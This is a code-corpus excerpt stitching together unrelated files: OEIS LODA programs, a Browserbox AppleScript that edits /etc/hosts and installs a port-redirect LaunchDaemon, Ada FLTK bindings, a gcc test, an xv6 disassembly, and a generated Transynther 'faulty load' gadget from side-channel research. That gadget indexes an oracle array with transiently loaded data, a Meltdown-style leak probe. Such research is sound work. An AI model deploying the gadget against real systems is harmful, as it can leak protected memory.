; 64,793,16418,134067,1905628,6732437,30870006,77915887,225951776,820775097,1708278778,4274005187,9024109428,15345472477,26124687806,48289048935,90469582576,141989956937,232448339106,360548623027,511882849316,754970304837,1081910678206,1578891969167,2411863974096,3473384124697,4667436421226,6168166773075,7845266883916,9927218636525,14123091551214,19177004695495,25788860946104,33001410359265,43943936945866,55797848534267,70773920365716,89529289943725,111221251540094,138030004872183,170924118317104,206085946644185,254637172916826,306319713466075,364771441775204,426875282374005,515121222006766,638099718254255,774921468963144,919137285765265,1079143012304834,1265517904687395,1461448498832836,1711507406021837,1999644213537486,2330572957491295,2709463425873176,3105573369978297,3557303037946786,4049612201364467,4563322903109436,5196034394324485,6033236386044734,6938056683058095,7878355793562304,8893097646792473
mov $27,$0
mov $29,$0
add $29,1
lpb $29
clr $0,27
mov $0,$27
sub $29,1
sub $0,$29
add $2,$0
mul $2,2
mov $5,$0
mov $26,$0
cmp $26,0
add $5,$26
log $5,$2
mov $2,122
cal $0,30516 ; Numbers with 7 divisors. 6th powers of primes.
mov $1,$0
mov $3,-14
add $4,$0
sub $5,$0
add $0,5
mov $2,123
mov $3,-28
add $4,122
sub $5,27
mul $5,2
mov $5,$1
mov $1,$0
add $0,5
mov $3,906
mov $26,$5
cmp $26,0
add $5,$26
mod $2,$5
sub $4,$1
pow $4,2
mov $26,$1
cmp $26,0
add $1,$26
mod $2,$1
mov $1,4
mov $1,$0
mov $3,$2
add $4,$2
mov $2,2
mov $3,$4
mov $26,$5
cmp $26,0
add $5,$26
mov $1,$5
div $3,$5
sub $2,$3
add $28,$5
lpe
mov $1,$28
|
examples/example2.asm | alshapton/Pyntel4004-CLI | 0 | 244017 | <reponame>alshapton/Pyntel4004-CLI
/ Example program
org rom
fff, = 9
ldm 2
ldm fff
fim 0p 180
src 0p
lbl, ldm 15
end
|
src/browserbox/clientInstall/addLocalMac.applescript | andypohl/kent | 171 | 2098 | <gh_stars>100-1000
# UCSC Browserbox install helper script
display dialog "UCSC Browserbox network config helper: This program adds an entry 'ucsc.local' to your network configuration (/etc/hosts) and directs port 1234 to it. To do this, you will need the adminstrator password"
do shell script "if grep -q ucsc.local /etc/hosts ; then true; else echo 127.0.0.1 genome.ucsc.local; fi >> /etc/hosts" with administrator privileges
# flush the DNS cache to activate the localhost entry
do shell script "dscacheutil -flushcache"
# setup a plist file to create firewall rule on every reboot that redirects local host 1234 to port 80
set plistStr to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC -//Apple Computer//DTD PLIST 1.0//EN http://www.apple.com/DTDs/PropertyList-1.0.dtd >
<plist version=\"1.0\">
<dict>
<key>Label</key>
<string>edu.ucsc.genome.portRedir</string>
<key>ProgramArguments</key>
<array>
<string>/sbin/ipfw</string>
<string>add</string>
<string>100</string>
<string>fwd</string>
<string>127.0.0.1,1234</string>
<string>tcp</string>
<string>from</string>
<string>any</string>
<string>to</string>
<string>me</string>
<string>80</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>Nice</key>
<integer>10</integer>
<key>KeepAlive</key>
<false/>
<key>AbandonProcessGroup</key>
<true/>
</dict>
</plist>
"
# create the plist file for the firewall rule
do shell script "echo " & quoted form of plistStr & " > /System/Library/LaunchDaemons/edu.ucsc.genome.portRedir.plist" with administrator privileges
# activate the plist file now
do shell script "launchctl load /System/Library/LaunchDaemons/edu.ucsc.genome.portRedir.plist" with administrator privileges
#do shell script "ipfw add 100 fwd 127.0.0.1,1234 tcp from any to me 80" with administrator privileges
display dialog "Added entry for genome.ucsc.local to hosts file. Redirected port 80 to port 1234, by creating the file /System/Library/LaunchDaemons/edu.ucsc.genome.portRedir.plist which is run on every reboot" buttons "OK" default button "OK"
|
oeis/234/A234648.asm | neoneye/loda-programs | 11 | 175709 | ; A234648: Even sums of 2 consecutive odious numbers (A000069).
; Submitted by <NAME>
; 6,24,30,40,54,72,86,96,102,120,126,136,150,160,166,184,198,216,222,232,246,264,278,288,294,312,326,344,350,360,374,384,390,408,414,424,438,456,470,480,486,504,510,520,534,544,550,568,582,600,606,616,630,640,646,664,670,680,694,712,726,736,742,760,774,792,798,808,822,840,854,864,870,888,894,904,918,928,934,952,966,984,990,1000,1014,1032,1046,1056,1062,1080,1094,1112,1118,1128,1142,1152,1158,1176,1182,1192
mov $2,$0
seq $0,72939 ; Define a sequence c depending on n by: c(1)=1 and c(2)=n; c(k+2) = (c(k+1) + c(k))/2 if c(k+1) and c(k) have the same parity; otherwise c(k+2)=abs(c(k+1)-2*c(k)); sequence gives values of n such that lim k -> infinity c(k) = infinity.
add $1,$0
mul $1,2
mod $2,2
add $1,$2
mov $0,$1
sub $0,3
mul $0,2
|
src/fltk-images-pixmaps.adb | micahwelf/FLTK-Ada | 1 | 17047 | <reponame>micahwelf/FLTK-Ada
with
Interfaces.C,
System;
use type
System.Address;
package body FLTK.Images.Pixmaps is
procedure free_fl_pixmap
(I : in System.Address);
pragma Import (C, free_fl_pixmap, "free_fl_pixmap");
pragma Inline (free_fl_pixmap);
function fl_pixmap_copy
(I : in System.Address;
W, H : in Interfaces.C.int)
return System.Address;
pragma Import (C, fl_pixmap_copy, "fl_pixmap_copy");
pragma Inline (fl_pixmap_copy);
function fl_pixmap_copy2
(I : in System.Address)
return System.Address;
pragma Import (C, fl_pixmap_copy2, "fl_pixmap_copy2");
pragma Inline (fl_pixmap_copy2);
procedure fl_pixmap_color_average
(I : in System.Address;
C : in Interfaces.C.int;
B : in Interfaces.C.C_float);
pragma Import (C, fl_pixmap_color_average, "fl_pixmap_color_average");
pragma Inline (fl_pixmap_color_average);
procedure fl_pixmap_desaturate
(I : in System.Address);
pragma Import (C, fl_pixmap_desaturate, "fl_pixmap_desaturate");
pragma Inline (fl_pixmap_desaturate);
procedure fl_pixmap_draw2
(I : in System.Address;
X, Y : in Interfaces.C.int);
pragma Import (C, fl_pixmap_draw2, "fl_pixmap_draw2");
pragma Inline (fl_pixmap_draw2);
procedure fl_pixmap_draw
(I : in System.Address;
X, Y, W, H, CX, CY : in Interfaces.C.int);
pragma Import (C, fl_pixmap_draw, "fl_pixmap_draw");
pragma Inline (fl_pixmap_draw);
overriding procedure Finalize
(This : in out Pixmap) is
begin
if This.Void_Ptr /= System.Null_Address and then
This in Pixmap'Class
then
free_fl_pixmap (This.Void_Ptr);
This.Void_Ptr := System.Null_Address;
end if;
Finalize (Image (This));
end Finalize;
function Copy
(This : in Pixmap;
Width, Height : in Natural)
return Pixmap'Class is
begin
return Copied : Pixmap do
Copied.Void_Ptr := fl_pixmap_copy
(This.Void_Ptr,
Interfaces.C.int (Width),
Interfaces.C.int (Height));
end return;
end Copy;
function Copy
(This : in Pixmap)
return Pixmap'Class is
begin
return Copied : Pixmap do
Copied.Void_Ptr := fl_pixmap_copy2 (This.Void_Ptr);
end return;
end Copy;
procedure Color_Average
(This : in out Pixmap;
Col : in Color;
Amount : in Blend) is
begin
fl_pixmap_color_average
(This.Void_Ptr,
Interfaces.C.int (Col),
Interfaces.C.C_float (Amount));
end Color_Average;
procedure Desaturate
(This : in out Pixmap) is
begin
fl_pixmap_desaturate (This.Void_Ptr);
end Desaturate;
procedure Draw
(This : in Pixmap;
X, Y : in Integer) is
begin
fl_pixmap_draw2
(This.Void_Ptr,
Interfaces.C.int (X),
Interfaces.C.int (Y));
end Draw;
procedure Draw
(This : in Pixmap;
X, Y, W, H : in Integer;
CX, CY : in Integer := 0) is
begin
fl_pixmap_draw
(This.Void_Ptr,
Interfaces.C.int (X),
Interfaces.C.int (Y),
Interfaces.C.int (W),
Interfaces.C.int (H),
Interfaces.C.int (CX),
Interfaces.C.int (CY));
end Draw;
end FLTK.Images.Pixmaps;
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1712.asm | ljhsiun2/medusa | 9 | 99276 | <filename>Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1712.asm
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r8
push %rbx
push %rcx
// Faulty Load
lea addresses_PSE+0x1d241, %r11
clflush (%r11)
nop
nop
nop
nop
dec %r14
movups (%r11), %xmm1
vpextrq $0, %xmm1, %rbx
lea oracles, %r11
and $0xff, %rbx
shlq $12, %rbx
mov (%r11,%rbx,1), %rbx
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
oeis/309/A309874.asm | neoneye/loda-programs | 11 | 165478 | <reponame>neoneye/loda-programs<gh_stars>10-100
; A309874: a(n) = 2*n*Fibonacci(n-2) + (-1)^n + 1.
; Submitted by <NAME>
; 2,6,10,20,38,70,130,234,422,748,1322,2314,4034,6990,12066,20740,35534,60686,103362,175602,297662,503516,850130,1432850,2411138,4051350,6798010,11392244,19068662,31882198,53250562,88853754,148125014,246720460,410607866,682832410,1134706754,1884309726,3127053522,5186170852,8596069022,14239892126,23576458050,39014499330,64529603438,106680897980,176285942690,291179077154,480752697602,793431688998,1308971978602,2158691173844,3558738250694,5864792029030,9661967982466,15912560318730,26198766311174
mov $1,2
mov $2,2
lpb $0
sub $0,2
add $1,$2
add $2,$0
add $2,$1
lpe
lpb $0
div $0,4
add $2,$1
lpe
mov $0,$2
sub $0,1
mul $0,2
|
old/dlc4/test/test1.asm | icefoxen/finished-dumblang | 0 | 95301 | <gh_stars>0
extern printIntC
extern printCharC
extern printNLC
global returnStuff
global isGreaterThan5
global isGreaterThan10
global addNums
global max
global recFact
global iterFact
global fib
global silliness
global main
; Start functionreturnStuff
returnStuff:
sub esp, 0x4
mov [esp], ebp
mov ebp, esp
sub esp, 0x0
; Func prolog done
mov eax, [ebp+8]
; Func epilog
mov esp, ebp
mov ebp, [esp]
add esp, 0x4
ret
; End function
; Start functionisGreaterThan5
isGreaterThan5:
sub esp, 0x4
mov [esp], ebp
mov ebp, esp
sub esp, 0x0
; Func prolog done
sub esp, 0x8
mov eax, [ebp+8]
mov [esp], eax
mov eax, 0x5
mov [esp+4], eax
mov eax, [esp]
cmp eax, [esp+4]
jg NEAR .cmptrueSYM1
mov eax, 0x0
jmp NEAR .cmpendSYM2
.cmptrueSYM1:
mov eax, 0x1
.cmpendSYM2:
add esp, 0x8
; Func epilog
mov esp, ebp
mov ebp, [esp]
add esp, 0x4
ret
; End function
; Start functionisGreaterThan10
isGreaterThan10:
sub esp, 0x4
mov [esp], ebp
mov ebp, esp
sub esp, 0x0
; Func prolog done
; Starting if block
sub esp, 0x8
mov eax, [ebp+8]
mov [esp], eax
mov eax, 0xA
mov [esp+4], eax
mov eax, [esp]
cmp eax, [esp+4]
jg NEAR .cmptrueSYM6
mov eax, 0x0
jmp NEAR .cmpendSYM7
.cmptrueSYM6:
mov eax, 0x1
.cmpendSYM7:
add esp, 0x8
cmp eax, 0x0
jne NEAR .ifblockSYM3
.elseblockSYM4:
mov eax, 0x1
jmp NEAR ifendSYM5
.ifblockSYM3:
mov eax, 0x1
ifendSYM5:
; Func epilog
mov esp, ebp
mov ebp, [esp]
add esp, 0x4
ret
; End function
; Start functionaddNums
addNums:
sub esp, 0x4
mov [esp], ebp
mov ebp, esp
sub esp, 0x0
; Func prolog done
sub esp, 0x8
mov eax, [ebp+8] ;arg 1
mov [esp], eax
sub esp, 0x8
mov eax, [ebp+12] ;arg 2
mov [esp-8], eax
mov eax, [ebp+16] ;arg 3
mov [esp-8], eax ; XXX: Der er ikke regtig!
call max
add esp, 0x8
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
mov [esp+4], eax
mov eax, [esp]
add eax, [esp+4]
add esp, 0x8
; Func epilog
mov esp, ebp
mov ebp, [esp]
add esp, 0x4
ret
; End function
; Start functionmax
max:
sub esp, 0x4
mov [esp], ebp
mov ebp, esp
sub esp, 0x0
; Func prolog done
; Starting if block
sub esp, 0x8
mov eax, [ebp+8]
mov [esp], eax
mov eax, [ebp+12]
mov [esp+4], eax
mov eax, [esp]
cmp eax, [esp+4]
jl NEAR .cmptrueSYM11
mov eax, 0x0
jmp NEAR .cmpendSYM12
.cmptrueSYM11:
mov eax, 0x1
.cmpendSYM12:
add esp, 0x8
cmp eax, 0x0
jne NEAR .ifblockSYM8
.elseblockSYM9:
mov eax, [ebp+12]
jmp NEAR ifendSYM10
.ifblockSYM8:
mov eax, [ebp+12]
ifendSYM10:
; Func epilog
mov esp, ebp
mov ebp, [esp]
add esp, 0x4
ret
; End function
; Start functionrecFact
recFact:
sub esp, 0x4
mov [esp], ebp
mov ebp, esp
sub esp, 0x0
; Func prolog done
; Starting if block
sub esp, 0x8
mov eax, [ebp+8]
mov [esp], eax
mov eax, 0x2
mov [esp+4], eax
mov eax, [esp]
cmp eax, [esp+4]
jl NEAR .cmptrueSYM16
mov eax, 0x0
jmp NEAR .cmpendSYM17
.cmptrueSYM16:
mov eax, 0x1
.cmpendSYM17:
add esp, 0x8
cmp eax, 0x0
jne NEAR .ifblockSYM13
.elseblockSYM14:
mov eax, 0x1
jmp NEAR ifendSYM15
.ifblockSYM13:
mov eax, 0x1
ifendSYM15:
; Func epilog
mov esp, ebp
mov ebp, [esp]
add esp, 0x4
ret
; End function
; Start functioniterFact
iterFact:
sub esp, 0x4
mov [esp], ebp
mov ebp, esp
sub esp, 0x8
; Func prolog done
mov eax, 0x1
mov [ebp-8], eax
mov eax, [ebp+8]
mov [ebp-4], eax
.whilestartSYM18:
sub esp, 0x8
mov eax, [ebp-4]
mov [esp], eax
mov eax, 0x1
mov [esp+4], eax
mov eax, [esp]
cmp eax, [esp+4]
jg NEAR .cmptrueSYM20
mov eax, 0x0
jmp NEAR .cmpendSYM21
.cmptrueSYM20:
mov eax, 0x1
.cmpendSYM21:
add esp, 0x8
cmp eax, 0x0
je NEAR .whileendSYM19
sub esp, 0x8
mov eax, [ebp-8]
mov [esp], eax
mov eax, [ebp-4]
mov [esp+4], eax
mov eax, [esp]
imul eax, [esp+4]
add esp, 0x8
mov [ebp-8], eax
sub esp, 0x8
mov eax, [ebp-4]
mov [esp], eax
mov eax, 0x1
mov [esp+4], eax
mov eax, [esp]
sub eax, [esp+4]
add esp, 0x8
mov [ebp-4], eax
jmp NEAR .whilestartSYM18
.whileendSYM19:
mov eax, [ebp-8]
; Func epilog
mov esp, ebp
mov ebp, [esp]
add esp, 0x4
ret
; End function
; Start functionfib
fib:
sub esp, 0x4
mov [esp], ebp
mov ebp, esp
sub esp, 0x0
; Func prolog done
; Starting if block
sub esp, 0x8
mov eax, [ebp+8]
mov [esp], eax
mov eax, 0x2
mov [esp+4], eax
mov eax, [esp]
cmp eax, [esp+4]
jl NEAR .cmptrueSYM25
mov eax, 0x0
jmp NEAR .cmpendSYM26
.cmptrueSYM25:
mov eax, 0x1
.cmpendSYM26:
add esp, 0x8
cmp eax, 0x0
jne NEAR .ifblockSYM22
.elseblockSYM23:
mov eax, 0x1
jmp NEAR ifendSYM24
.ifblockSYM22:
mov eax, 0x1
ifendSYM24:
; Func epilog
mov esp, ebp
mov ebp, [esp]
add esp, 0x4
ret
; End function
; Start functionsilliness
silliness:
sub esp, 0x4
mov [esp], ebp
mov ebp, esp
sub esp, 0x0
; Func prolog done
sub esp, 0x8
mov eax, 0xA
mov [esp], eax
mov eax, 0xA
mov [esp+4], eax
mov eax, [esp]
cmp eax, [esp+4]
je NEAR .cmptrueSYM27
mov eax, 0x0
jmp NEAR .cmpendSYM28
.cmptrueSYM27:
mov eax, 0x1
.cmpendSYM28:
add esp, 0x8
; Func epilog
mov esp, ebp
mov ebp, [esp]
add esp, 0x4
ret
; End function
; Start functionmain
main:
sub esp, 0x4
mov [esp], ebp
mov ebp, esp
sub esp, 0x0
; Func prolog done
sub esp, 0xC
mov eax, 0x5
mov [esp], eax
mov eax, 0xA
mov [esp+4], eax
mov eax, 0xF
mov [esp+8], eax
call addNums
add esp, 0xC
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
sub esp, 0x8
mov eax, 0x12C
mov [esp], eax
mov eax, 0x190
mov [esp+4], eax
call max
add esp, 0x8
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
sub esp, 0x4
mov eax, 0x5B
mov [esp], eax
call returnStuff
add esp, 0x4
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
sub esp, 0x4
mov eax, 0x0
mov [esp], eax
call isGreaterThan5
add esp, 0x4
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
sub esp, 0x4
mov eax, 0x14
mov [esp], eax
call isGreaterThan5
add esp, 0x4
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
sub esp, 0x4
mov eax, 0x0
mov [esp], eax
call isGreaterThan10
add esp, 0x4
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
sub esp, 0x4
mov eax, 0x14
mov [esp], eax
call isGreaterThan10
add esp, 0x4
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
sub esp, 0x4
mov eax, 0xA
mov [esp], eax
call iterFact
add esp, 0x4
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
sub esp, 0x4
mov eax, 0xA
mov [esp], eax
call recFact
add esp, 0x4
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
sub esp, 0x0
call silliness
add esp, 0x0
sub esp, 0x4
mov [esp], eax
call printIntC
mov eax, [esp]
add esp, 0x4
; Func epilog
mov esp, ebp
mov ebp, [esp]
add esp, 0x4
ret
; End function
|
projects/batfish/src/main/antlr4/org/batfish/grammar/fortios/Fortios_zone.g4 | yrll/batfish-repair | 0 | 2018 | parser grammar Fortios_zone;
options {
tokenVocab = FortiosLexer;
}
cs_zone: ZONE newline csz_edit*;
csz
:
csz_edit
| csz_rename
;
csz_edit: EDIT zone_name newline csze* NEXT newline;
csz_rename: RENAME current_name = zone_name TO new_name = zone_name newline;
csze
:
(
SET (csz_set_singletons | csz_set_interface)
| APPEND csz_append_interface
| SELECT csz_set_interface
)
;
csz_set_singletons:
csz_set_description
| csz_set_intrazone
;
csz_set_description: DESCRIPTION description = str newline;
csz_set_intrazone: INTRAZONE value = allow_or_deny newline;
csz_set_interface: INTERFACE interfaces = interface_names newline;
csz_append_interface: INTERFACE interfaces = interface_names newline;
// Up to 35 characters
zone_name: str;
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/sso/r12.adb | best08618/asylo | 7 | 27232 | <reponame>best08618/asylo
-- { dg-do run }
with Init12; use Init12;
with Text_IO; use Text_IO;
with Dump;
procedure R12 is
function Get_Elem (A : Arr1) return Integer is
Tmp : Arr1 := A;
begin
return Tmp(1);
end;
procedure Set_Elem (A : access Arr1; I : Integer) is
Tmp : Arr1 := A.all;
begin
Tmp(1) := I;
A.all := Tmp;
end;
function Get_Elem (A : Arr11) return Integer is
Tmp : Arr11 := A;
begin
return Tmp(1,1);
end;
procedure Set_Elem (A : access Arr11; I : Integer) is
Tmp : Arr11 := A.all;
begin
Tmp(1,1) := I;
A.all := Tmp;
end;
function Get_Elem (A : Arr2) return Integer is
Tmp : Arr2 := A;
begin
return Tmp(1);
end;
procedure Set_Elem (A : access Arr2; I : Integer) is
Tmp : Arr2 := A.all;
begin
Tmp(1) := I;
A.all := Tmp;
end;
function Get_Elem (A : Arr22) return Integer is
Tmp : Arr22 := A;
begin
return Tmp(1,1);
end;
procedure Set_Elem (A : access Arr22; I : Integer) is
Tmp : Arr22 := A.all;
begin
Tmp(1,1) := I;
A.all := Tmp;
end;
A1 : aliased Arr1 := My_A1;
A11 : aliased Arr11 := My_A11;
A2 : aliased Arr2 := My_A2;
A22 : aliased Arr22 := My_A22;
begin
Put ("A1 :");
Dump (A1'Address, Arr1'Max_Size_In_Storage_Elements);
New_Line;
-- { dg-output "A1 : 12 00 ab 00 34 00 cd 00 56 00 ef 00.*\n" }
Put ("A11 :");
Dump (A11'Address, Arr11'Max_Size_In_Storage_Elements);
New_Line;
-- { dg-output "A11 : 12 00 ab 00 34 00 cd 00 12 00 ab 00 34 00 cd 00.*\n" }
Put ("A2 :");
Dump (A2'Address, Arr2'Max_Size_In_Storage_Elements);
New_Line;
-- { dg-output "A2 : 00 ab 00 12 00 cd 00 34 00 ef 00 56.*\n" }
Put ("A22 :");
Dump (A22'Address, Arr22'Max_Size_In_Storage_Elements);
New_Line;
-- { dg-output "A22 : 00 ab 00 12 00 cd 00 34 00 ab 00 12 00 cd 00 34.*\n" }
if Get_Elem (A1) /= 16#AB0012# then
raise Program_Error;
end if;
Set_Elem (A1'Access, 16#CD0034#);
if Get_Elem (A1) /= 16#CD0034# then
raise Program_Error;
end if;
if Get_Elem (A11) /= 16#AB0012# then
raise Program_Error;
end if;
Set_Elem (A11'Access, 16#CD0034#);
if Get_Elem (A11) /= 16#CD0034# then
raise Program_Error;
end if;
if Get_Elem (A2) /= 16#AB0012# then
raise Program_Error;
end if;
Set_Elem (A2'Access, 16#CD0034#);
if Get_Elem (A2) /= 16#CD0034# then
raise Program_Error;
end if;
if Get_Elem (A22) /= 16#AB0012# then
raise Program_Error;
end if;
Set_Elem (A22'Access, 16#CD0034#);
if Get_Elem (A22) /= 16#CD0034# then
raise Program_Error;
end if;
end;
|
lab01/xv6-master/wait_one.asm | ahchu1993/opsys | 0 | 25004 | <filename>lab01/xv6-master/wait_one.asm
_wait_one: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "fcntl.h"
#include "syscall.h"
#include "traps.h"
#include "memlayout.h"
int main(int argc, char ** argv){
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 30 sub $0x30,%esp
int begin = getpid();
9: e8 c6 04 00 00 call 4d4 <getpid>
e: 89 44 24 14 mov %eax,0x14(%esp)
int pid = fork();
12: e8 2d 04 00 00 call 444 <fork>
17: 89 44 24 18 mov %eax,0x18(%esp)
int i;
int status;
if(pid > 0){
1b: 83 7c 24 18 00 cmpl $0x0,0x18(%esp)
20: 0f 8e 4a 01 00 00 jle 170 <main+0x170>
for(i = 0; i < 15 && pid > 0; i++){
26: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp)
2d: 00
2e: eb 29 jmp 59 <main+0x59>
pid = fork();
30: e8 0f 04 00 00 call 444 <fork>
35: 89 44 24 18 mov %eax,0x18(%esp)
if(pid < 0)
39: 83 7c 24 18 00 cmpl $0x0,0x18(%esp)
3e: 79 14 jns 54 <main+0x54>
printf(1,"errors occur!\n");
40: c7 44 24 04 a4 09 00 movl $0x9a4,0x4(%esp)
47: 00
48: c7 04 24 01 00 00 00 movl $0x1,(%esp)
4f: e8 89 05 00 00 call 5dd <printf>
int begin = getpid();
int pid = fork();
int i;
int status;
if(pid > 0){
for(i = 0; i < 15 && pid > 0; i++){
54: 83 44 24 1c 01 addl $0x1,0x1c(%esp)
59: 83 7c 24 1c 0e cmpl $0xe,0x1c(%esp)
5e: 7f 07 jg 67 <main+0x67>
60: 83 7c 24 18 00 cmpl $0x0,0x18(%esp)
65: 7f c9 jg 30 <main+0x30>
pid = fork();
if(pid < 0)
printf(1,"errors occur!\n");
}
if (pid == 0){
67: 83 7c 24 18 00 cmpl $0x0,0x18(%esp)
6c: 0f 85 2d 01 00 00 jne 19f <main+0x19f>
int j = 0;
72: c7 44 24 24 00 00 00 movl $0x0,0x24(%esp)
79: 00
while(j++ < 1000);
7a: 81 7c 24 24 e7 03 00 cmpl $0x3e7,0x24(%esp)
81: 00
82: 0f 9e c0 setle %al
85: 83 44 24 24 01 addl $0x1,0x24(%esp)
8a: 84 c0 test %al,%al
8c: 75 ec jne 7a <main+0x7a>
if(getpid() == begin+5) sleep(30);
8e: e8 41 04 00 00 call 4d4 <getpid>
93: 8b 54 24 14 mov 0x14(%esp),%edx
97: 83 c2 05 add $0x5,%edx
9a: 39 d0 cmp %edx,%eax
9c: 75 0c jne aa <main+0xaa>
9e: c7 04 24 1e 00 00 00 movl $0x1e,(%esp)
a5: e8 3a 04 00 00 call 4e4 <sleep>
printf(1,"pid = %d\n",getpid());
aa: e8 25 04 00 00 call 4d4 <getpid>
af: 89 44 24 08 mov %eax,0x8(%esp)
b3: c7 44 24 04 b3 09 00 movl $0x9b3,0x4(%esp)
ba: 00
bb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c2: e8 16 05 00 00 call 5dd <printf>
if(getpid() == begin+10){
c7: e8 08 04 00 00 call 4d4 <getpid>
cc: 8b 54 24 14 mov 0x14(%esp),%edx
d0: 83 c2 0a add $0xa,%edx
d3: 39 d0 cmp %edx,%eax
d5: 75 71 jne 148 <main+0x148>
printf(1,"pid %d waiting for %d\n",begin+10,begin+5);
d7: 8b 44 24 14 mov 0x14(%esp),%eax
db: 8d 50 05 lea 0x5(%eax),%edx
de: 8b 44 24 14 mov 0x14(%esp),%eax
e2: 83 c0 0a add $0xa,%eax
e5: 89 54 24 0c mov %edx,0xc(%esp)
e9: 89 44 24 08 mov %eax,0x8(%esp)
ed: c7 44 24 04 bd 09 00 movl $0x9bd,0x4(%esp)
f4: 00
f5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
fc: e8 dc 04 00 00 call 5dd <printf>
